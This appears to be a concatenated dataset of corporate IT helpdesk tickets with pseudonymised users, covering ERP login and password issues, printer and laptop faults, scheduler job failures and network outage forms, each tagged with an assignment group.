a drawing was saved under the wrong plm number.\_x000D\_
please delete nxd #71894643\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_11.Ticket with Short description: requesting for dock station and add-on monitor, Description: hi team,\_x000D\_
\_x000D\_
i am requesting for dock station and add-on monitor (preferably bigger in size). please consider this request and assist. \_x000D\_
- beneficial to me while auditing inwarehouse\_tools that will have average sized fonts, i could view the same in bigger screen very clearly\_x000D\_
- helps me with my various work related activities like inwarehouse\_tool comparison so i can do it in much more effective way with add-on monitor\_x000D\_
- also helps me in email activities\_x000D\_
- last but not the least, i don't have to carry my laptop charger to office everyday and can make my laptop big bit more lighter ;)\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: support fÃ¼r umbau \ewew8323735 \lpfzasmv cleoprzq, Description: support fÃ¼r umbau \ewew8323735 \lpfzasmv cleoprzq, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit rechner ewewx200257 \howfanzi siavgtby, Description: probleme mit rechner ewewx200257 \howfanzi siavgtby, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit infostand \ewew8323718 , Description: probleme mit infostand \ewew8323718 , is assigned to Assignment group: GRP\_24.Ticket with Short description: support fÃ¼r stÃ¶hrmann \xosdfhbu gtbfkisl, Description: support fÃ¼r stÃ¶hrmann \xosdfhbu gtbfkisl, is assigned to Assignment group: GRP\_24.Ticket with Short description: authorisation to the folder in m drive - qa folder, Description:
received from: rjanhbde.owfkyjcp@gmail.com
hello ,
pl. assign read / write authorisation to : guru j prasath, his user id : "prarttsagj"
folder : m:\qa\iso 2008\iso9001\_2008\SID\_73
warm , is assigned to Assignment group: GRP\_12.Ticket with Short description: problem with erp logon, Description: \_x000D\_
\_x000D\_
received from: zaeduhlt.jdgsamtv@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01d1ff8a.b54283e0]\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/26/2016 04:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/26/2016 04:53:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/26/2016 04:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/26/2016 04:50:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pls install ms outlook at pc of trainee yqwuhzkv icvgkxnt, Description: pls install ms outlook at pc of trainee yqwuhzkv icvgkxnt - pls.assign to qbnsrzlv gyqxkbae, is assigned to Assignment group: GRP\_33.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/26/2016 04:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/26/2016 04:43:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: windows activation message, Description: \_x000D\_
\_x000D\_
received from: tzradpnj.izlotycb@gmail.com\_x000D\_
\_x000D\_
hello it team,\_x000D\_
\_x000D\_
what am i supposed to do with that issue?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: passwort entsperrung erp SID\_34, Description: \_x000D\_
\_x000D\_
received from: plfwoagd.chtpiazu@gmail.com\_x000D\_
\_x000D\_
trotz benutzung des password\_management\_tool passwortmanagers funktioniert die entsperrung nicht.\_x000D\_
ich konnte mich nicht in erp SID\_34 einloggen.\_x000D\_
password\_management\_tool entsperrung verwendet, kein erfolg\_x000D\_
anruf bei it â€“ rÃ¼cksetzung pw auf daypay3 â€“ zugang zu SID\_34 dann mÃ¶glich\_x000D\_
musste aber Ã¼ber password\_management\_tool wieder alle pw angleichen auf das neue pw\_x000D\_
nach telefonat erneutes einloggen im erp versucht. geht wieder nicht.\_x000D\_
\_x000D\_
tut mir leid leute. ich kann nicht den ganzen tag damit verbringen, mir neue passwÃ¶rter zu Ã¼berlegen.\_x000D\_
bringt password\_management\_tool mit erp pw endlich zum laufen, damit diese firma effizienter wird.\_x000D\_
\_x000D\_
fÃ¼r den aktuellen fall bitte ich um erneute rÃ¼cksetzung es SID\_34 passworts auf daypay3 damit ich weiterarbeiten kann.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1ff80.ac619c70]\_x000D\_
\_x000D\_
mit freundlichen grugermany / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: vvdortddp, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
please reset the password of mr. pradtheyp and share the new password to his manager mr. navbrtheen gogtr <utoegyqx.lhosidqg@gmail.com>.
emp no
name
useid
manager
20284583
yaxmwdth xsfgitmq
vvdortddp
navbrtheen gogtr
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: no acces to the network with pc ewewx200257 in departement qa, Description: no acces to the network with pc 200257 in departement qa. tha access is urgent necessary for hardness measuring software. yevirgnl ylhogjct and ughzilfm cfibdamq are the responsible person, is assigned to Assignment group: GRP\_24.Ticket with Short description: \\HostName\_29\kt-transition\applications\portal-pi-java-web\pi\_training : full access : guprgttas1, Description: \\HostName\_29\kt-transition\applications\portal-pi-java-web\pi\_training : full access : guprgttas1, is assigned to Assignment group: GRP\_12.Ticket with Short description: manually constructed have 3 new numbers in the mm01 (mm 7302314/6291204/7302316). if i want to extend the material maste, Description: manually constructed have 3 new numbers in the mm01 (mm 7302314/6291204/7302316). if i want to extend the rqfhiong zkwfqagb, the system does not find any iso / ansi code. when i use the code manually night rage comes the message "ansi catalog and grades already used by material"\_x000D\_
\_x000D\_
please check attachment., is assigned to Assignment group: GRP\_29.Ticket with Short description: aufstellung ordnerzugriff , Description:
received from: wtxvqngf.nxjivlmr@gmail.com
sehr geehrte damen und herren,
ich bin share-owner des laufwerks departments\betriebsrat im werk germany
und benÃ¶tige eine Ã¼bersicht, wer alles zugriff auf den oben stehenden ordner hat.
bitte lassen sie mir diese aufstellung unmittelbar zukommen.
mit freundlichen grÃ¼ÃŸen,
wtxvqngf nxjivlmr
betriebsratsvorsitzender
company produktions gmbh & co. kg
altweiherstraÃŸe 27-31
company produktions gmbh & co. kg
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_34.Ticket with Short description: stamping of timings in EU\_tool is not working, Description: pulvermetalogy ee01\_x000D\_
staeberoth fertigung ee02\_x000D\_
sk hartbearbeitung ee03\_x000D\_
\_x000D\_
user cannot stamp in & out time in EU\_tool.\_x000D\_
\_x000D\_
data is not transferred to erp from yesterday. he does not know which employee was present yesterday and who was absent., is assigned to Assignment group: GRP\_25.Ticket with Short description: issue with erp SID\_1 , Description: issue with erp SID\_1 \_x000D\_
page is not loading, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook email access for felix zhang ; mobile device activation :; personal device. , Description: \_x000D\_
\_x000D\_
received from: kbclinop.vsczklfp@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
please usa outlook access (email and calendar) for below staff on his iphone.\_x000D\_
\_x000D\_
avmeocnk.mvycfwka@gmail.com<mailto:avmeocnk.mvycfwka@gmail.com>\_x000D\_
dept: r&d\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: error on ddeihrsh sigrtyhdeo's laptop , Description: \_x000D\_
\_x000D\_
received from: kbclinop.vsczklfp@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
dibesh's laptop cannot boot up, need to resolve the issue.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: material issue, Description:
received from: wktesmbp.lorjymef@gmail.com
dear teamï¼Œ
we once shipped a subcontract order on jul 21th,
po#5616690206
rough material#2224208\*10pcs
movement type:541
but its corresponding end product mm#6004236 still exists in erp,pls. help to check the root cause,thx!
[cid:image002.png@01d1ff9f.c823SID\_310]
[cid:image001.png@01d1ffa0.05272471]
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_29.Ticket with Short description: tablet - dell 7350 - ç”µè„‘å¼€æœºå¯åŠ¨è“å±, Description: please provide details of the issue.\_x000D\_
ç”µè„‘å¼€æœºå¯åŠ¨è“å±, is assigned to Assignment group: GRP\_31.Ticket with Short description: can not post dn# 9169142692 due to batch issue, Description:
received from: wktesmbp.lorjymef@gmail.com
dear team,
pls. help to check return delivery#9169142692ï½ž
it's required to enter batch but we can not key in anything in the blank
[cid:image001.png@01d1ffa6.a718f620]
[cid:image002.png@01d1ffa7.0ff104d0]
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_18.Ticket with Short description: laptop doesn't access with network , Description: laptop doesn't access with network , is assigned to Assignment group: GRP\_31.Ticket with Short description: vpn login issue : account lock out , Description: vpn login issue : account lock out, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation : company provided , Description: mobile device activation : company provided , is assigned to Assignment group: GRP\_0.Ticket with Short description: sql error 2048 in SID\_1 erp system, Description: there are are more than 15+ dumps in st22 with sql error 2048 , is assigned to Assignment group: GRP\_14.Ticket with Short description: cartridge id02, Description: printer cartridge replacement on the printer , is assigned to Assignment group: GRP\_19.Ticket with Short description: ie not launching , Description: ie not launching \_x000D\_
\_x000D\_
tried opening in safe mode, no go\_x000D\_
reset , no go\_x000D\_
tried disabling ie windows features, failed to disable.\_x000D\_
reboot system.\_x000D\_
it worked fine.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ad account lock out and password reset through password\_management\_tool password manager., Description: ad account lock out and password reset through password\_management\_tool password manager., is assigned to Assignment group: GRP\_0.Ticket with Short description: delete of history/ cache in seocompanyxv syxewkji <seocompanyxv.syxewkji@gmail.com> for ess uacyltoe hxgayczeing, Description: delete of history/ cache in seocompanyxv syxewkji <seocompanyxv.syxewkji@gmail.com> for ess uacyltoe hxgayczeing\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: defekt kopierer k 13, Description: kopierer ausbildungswerkstatt k 13 defekt. fehlermeldung: einzug fehlerhaft servicedienst notwendig, is assigned to Assignment group: GRP\_42.Ticket with Short description: ad account locked out , Description: ad account locked out
:520056771751
summary:i am locked out of my computer.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype issue : unable to make or receive calls in skype, Description: unable to make or receive calls in skype. most of the times the warehouse\_tool thru hehr\_toolhones is not audible but can be heard thru speake, is assigned to Assignment group: GRP\_0.Ticket with Short description: r101 drucker defekt, Description: r101 drucker defekt, is assigned to Assignment group: GRP\_33.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/26/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/26/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/26/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/26/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: in the inbox always show there are several emails which has not been read , but i had already , Description: +86 , is assigned to Assignment group: GRP\_0.Ticket with Short description: job failed : ( there is no datasource with these attributes ) please check attachment, Description: job failed : ( there is no datasource with these attributes ) please check attachment, is assigned to Assignment group: GRP\_20.Ticket with Short description: account lock out issue , Description: account lock out issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: general query about rdp : , Description: 44
user wanted to report about some one working on his system without his awareness.
checked with changes happened in computer, it was erp went back to default settings.
checked in programdntys and features , it was erp patch installed during that time.
appreciated user and asked to inform if he sees this activity again., is assigned to Assignment group: GRP\_0.Ticket with Short description: could not setup notification list in dvw system: warning ora-02291., Description: user name: yinnrty
user id: 11333657100
system: dvw
contact phone:
error message:ora-02291: integrity constraint (gdwowner.fk\_sbscrptn\_tblusers) violated - parent key not found
----------------------------------------
production specifications:Â 
application serverÂ :lhqSID\_1854
database serverÂ / name:oracle gdwp
, is assigned to Assignment group: GRP\_25.Ticket with Short description: account lock out issue , Description: account lock out issue \_x000D\_
remote into user computer and removed all old password.\_x000D\_
cleared temp and prefetch file.\_x000D\_
signed in to outlook and checked with skype.\_x000D\_
ran lock out status and informed user to update password in all mobile device.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/25/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/25/2016 22:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/25/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/25/2016 22:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ksem / m36 / ewkw8113117 / rechner startet nicht, Description: bios einstellen, das rechner bei netz-reset selbststÃ¤ndig startet.\_x000D\_
bitte um erledigung durch m. himghtmelreich, is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to print from erp, Description: unable to print from erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: india telecom\_vendor\_1 40 & 20 mbps circuits are down at 4:33 pm et on 08/25. site is up on telecom\_vendor\_3 circuit ., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_4:33 pm et on 08/25\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? no yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/25/2016 16:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/25/2016 16:14:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/25/2016 16:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/25/2016 16:14:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: network outage : usa warehouse, vpn circuit is down at 3:16 pm et on 08/25. site is up on primary., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_3:16 pm et on 08/25.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: unable to connect to the printers dv07 and dv28. also need help to connect scanner, Description: unable to connect to the printers dv07 and dv28. i also need help with the scanner, i tried to download the driver from the fujitsu website but when i tried to run it i need to have administrator access???, is assigned to Assignment group: GRP\_3.Ticket with Short description: latpop will not startup without ac power cord connected so suspect a bad battery?, Description: latpop will not startup without ac power cord connected so suspect a bad battery?, is assigned to Assignment group: GRP\_3.Ticket with Short description: circuit outage: usa , vpn circuit is down at 2:42 pm et on 08/25. circuit is up on primary., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_slo site\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_2:42 pm et on 08/25\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_na\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to log in to erp SID\_34, Description: unable to log in to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to erp SID\_34, Description: unable to log in to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: intermittent internet connection, Description: intermittent internet connection, is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery notes from other users coming to the printer, Description: delivery notes from other users coming to the printer, is assigned to Assignment group: GRP\_18.Ticket with Short description: system slow on start up , Description: system slow on start up , is assigned to Assignment group: GRP\_0.Ticket with Short description: check router wifi - site: south\_amerirtca - sp - sÃ£o bernardo campo (mercedes benz), Description: hi team, please check the router wifi the site company -south\_amerirtca - sÃ£o pollaurido / sÃ£o bernardo campo. no is possible connect network wifi - companysecure, this network no is visible to users local. if you need connect remotely or has more doubts please, return me.. , is assigned to Assignment group: GRP\_4.Ticket with Short description: usa print, Description: usa print issue, is assigned to Assignment group: GRP\_15.Ticket with Short description: sign-on is not working, Description: name:mikhghytr karaffa
language:
browser:microsoft internet explorer
email:vfrdxtqw.jfbmsenz@gmail.com
customer number:
telephone:
summary:hello, my single sign-on is not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: pc probleme urgent, Description:
received from: eluvxqhw.gpbfkqeu@gmail.com
hallo ,
folgende funktionen und programdntyme laufen nicht mehr.
Â· weekly report lÃ¤ÃŸt sich nicht Ã¼bertragen, meldet falscher serverpfad.
Â· collaboration\_platform findet die biblotheken nicht mehr.
Â· keine synchronisation mit collaboration\_platform mehr.
Â· lte verbindung nicht mÃ¶glich.
mit freundlichen grÃ¼ÃŸen
eluvxqhw gpbfkqeu
anwendungstechnik/ application engineer
transportation central europe
e-mail: eluvxqhw.gpbfkqeu@gmail.com<mailto:eluvxqhw.gpbfkqeu@gmail.com>
company deutschland gmbh www.company.com<
geschÃ¤ftsfÃ¼hrer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx , naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
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select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load engineering tool, Description: unable to load engineering tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: infopath installation, Description: infopath installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: half the icons on my desktop are gone after a reboot and updates were applied, Description: half the icons on my desktop are gone after a reboot and updates were applied, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to get on skype audio meeting with outside vendors, Description: unable to get on skype audio meeting with outside vendors, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa oh operators are locked out of mii and not able to scan in production and capture value add , Description: usa oh operators are locked out of mii and not able to scan in production
1) tortm hortl (howthrelte) - happened twice in one week
2) dmitazhw kxbifzoh
, is assigned to Assignment group: GRP\_0.Ticket with Short description: fjtrnslb ejzkrchq // account has expired, Description: fjtrnslb ejzkrchq // account has expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: users in chicago wants to update bank details , Description: users in chicago wants to update bank details , is assigned to Assignment group: GRP\_0.Ticket with Short description: bios update, Description: bios update, is assigned to Assignment group: GRP\_0.Ticket with Short description: i am stuck. has 3 lines. lines 40 and 50 have been inwarehouse\_toold 0158401519. line 60 we cannot pgi, Description: i am stuck. 9168335496 has 3 lines. lines 40 and 50 have been inwarehouse\_toold 0158401519. line 60 we cannot pgi, so it has not inwarehouse\_toold. any ideas on how we can get line 60 inwarehouse\_toold?\_x000D\_
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\_x000D\_
v \_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: device type changes for usa, Description: device type changes for usa, is assigned to Assignment group: GRP\_14.Ticket with Short description: ticket update on inplant\_853729, Description: ticket update on inplant\_853729, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_853833, Description: ticket update on inplant\_853833, is assigned to Assignment group: GRP\_0.Ticket with Short description: device not running dell ml6000 tape library!, Description: device not running dell ml6000 tape library !\_x000D\_
\_x000D\_
backup device not running. error say "open door" !!!!\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: license inquiry about k1 license, Description: license inquiry about k1 license, is assigned to Assignment group: GRP\_0.Ticket with Short description: adobe reader on my pc suddenly will not work, immediate crash "adobe has stopped working", Description: adobe reader on my pc suddenly will not work, immediate crash "adobe has stopped working", is assigned to Assignment group: GRP\_3.Ticket with Short description: need access to znqcljxt azvoespk's emails, Description: need access to znqcljxt azvoespk's emails, is assigned to Assignment group: GRP\_26.Ticket with Short description: outlook is not responding. error : need password., Description: outlook is not responding. error : need password., is assigned to Assignment group: GRP\_0.Ticket with Short description: connections problems with microsoft collaboration\_platform and my company account, Description: connections problems with microsoft collaboration\_platform and my company account, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update , Description: name:erirtc
language:
browser:microsoft internet explorer
email:ntsowaem.jfgslyde@gmail.com
customer number:
telephone:7
summary:following up on ctc t-code application incident - ticket\_no1539328. can we please get the folks access aerp?, is assigned to Assignment group: GRP\_0.Ticket with Short description: wireless guest access, Description: cti ( network â€“wireless-guest )
guest first name: jeffrghryey
guest last name: adrhtykins
guest email-id : jadrhtykins@salesforce.com
contact no - 412
location:
company sponsor email-id: vbmzgsdk.jdmyazti@gmail.com
duration (duration for guest access) : today until 3 pm est, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: intermittent shutdown on this computer, Description: intermittent shutdown on this computer, is assigned to Assignment group: GRP\_0.Ticket with Short description: inwarehouse\_tools 0581144512 and 0581149834 issued for ic5268. should be ic5252., Description: inwarehouse\_tools 0581144512 and 0581149834 issued for ic5268. should be ic5252.\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: cannot make or recieve calls on iphone 5., Description: cannot make or recieve calls on iphone 5., is assigned to Assignment group: GRP\_63.Ticket with Short description: user needs this account as mentioned in the screenshot to be an active account so that he can add a new opportstorage\_product., Description: got a call transferred from vitalyst // user needs this account as mentioned in the screenshot to be an active account so that he can add a new opportstorage\_product., is assigned to Assignment group: GRP\_40.Ticket with Short description: new laptop set-up, Description: set up and new laptop and remove the old one, is assigned to Assignment group: GRP\_3.Ticket with Short description: project collaboration\_platform site is no longer creating a project id when a new project is added., Description: project collaboration\_platform site is no longer creating a project id when a new project is added.\_x000D\_
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\_x000D\_
examples:\_x000D\_
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\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: blank call with noise, Description: blank call with noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: i have created 2 new material numbers but when i try to build the bom or put it in a bom it says material does not exist, Description: mm#'s 7390081 and 6290061, is assigned to Assignment group: GRP\_29.Ticket with Short description: cannot access email, Description: same incident as the past two days, cannot access to email or km collaboration\_platform, it fixed the issue but it is occurring again, is assigned to Assignment group: GRP\_0.Ticket with Short description: please display monthly information on the sales approve screen in the compensation programdnty, Description: please display monthly information on the sales approve screen in the compensation programdnty. since the performance % calculation was changed to a monthly calculation, the screen has become a little confusing., is assigned to Assignment group: GRP\_25.Ticket with Short description: engineering tool, Description: from: aghynil dirttwan [mailto:toolperfect@gmail.com]
sent: thursday, august 25, 2016 11:08 am
to: nwfodmhc exurcwkm
subject: sabrthy engineering tool.
respected sir/madam,
please guidge me how to install engineering tool.we have tried on web,but its not done download.
please reply.
--
mr. aghynil dirttwan
perfect sales & services
g-28, mohgrtyan arcade,
, is assigned to Assignment group: GRP\_0.Ticket with Short description: created rqfhiong zkwfqagb 7301102 yesterday afternoon. it does not exist in erp but the ansi iso says it already exists, Description: when i try to re-create with ansi iso tbbuyhexstandoff18mm erp says it already exists.\_x000D\_
\_x000D\_
\_x000D\_
